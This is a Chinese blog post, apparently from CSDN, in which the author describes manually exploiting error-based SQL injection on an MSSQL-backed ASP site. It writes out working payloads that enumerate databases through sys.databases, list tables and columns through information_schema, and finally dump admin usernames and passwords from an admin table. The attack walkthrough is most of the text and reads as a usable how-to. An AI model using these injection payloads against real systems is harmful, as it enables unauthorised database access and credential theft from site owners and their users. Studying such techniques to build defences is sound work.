mssql手工注入


有点时间可以搞一下了mssql server了。

SQL server

MSSQL其实也就是SQL server,通常和asp或者aspx一起搭配使用,都说MSSQL和MYSQL相似,但是我咋感觉还是挺不一样啊,真是麻烦。。。
MSSQL基础就不写了,直接走起。

注入过程

  1. 常规手段测试注入点是否存在,加了引号就有报错了,用and来测试当1=2时也会不正常显示。
  2. 通过order by来测试当前表的字段数量为20,但是联合查询时出错了,不论是填数字还是填null都会报错。
    填null报错应该是因为被过滤掉了。
  3. 没办法用联合查询那就只能用报错注入了,先来看下版本号。
  4. 接下来查库。
    当然还可以查其它的库,这里有个地方没怎么想明白,和access有点不一太一样。。
    select top 1 name from (select top 2 name from sys.databases order by name desc)a order by name
    无论我怎么改变这个top x的数值都不会有变化

    但是我在sql查询器里面用就没有任何问题,很奇怪,谁知道可以告诉我一下~~

    这边我就只能用一些其它手法来完成了,and 1=(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases)),这里一直改变top x的数量就可以了。
  5. 库弄完了,弄表,这里就和mysql有点相同了,但是感觉还是没有mysql讲道理。and (select top 1 table_name from aa.information_schema.tables where table_name not in (select top 1 table_name from aa.information_schema.tables))>1
    这样写代码比较长,也可以这样写。and (select top 1 table_name from aa.information_schema.tables where table_name not in ('sysdiagrams','xxx','xxxx'))>1
  6. 接下来就是拿字段名了。and (select top 1 column_name from aa.information_schema.columns where column_name not in (select top 0 column_name from aa.information_schema.columns))>1,通过遍历,拿到几个重要的字段“admin,password”。
  7. 爆上面2个字段即可。and (select top 1 admin from aa.dbo.admin where admin not in (select top 1 admin from aa.dbo.admin) )>1


总结

还是很不顺手的,比如爆一下表的个数什么的,由于个数本身就是整形的数字,所以无法引起报错,也就得不到正确的数据了,回头再弄吧,比之前清晰一些。
已标记关键词 清除标记
相关推荐
©️2020 CSDN 皮肤主题: 成长之路 设计师:Amelia_0503 返回首页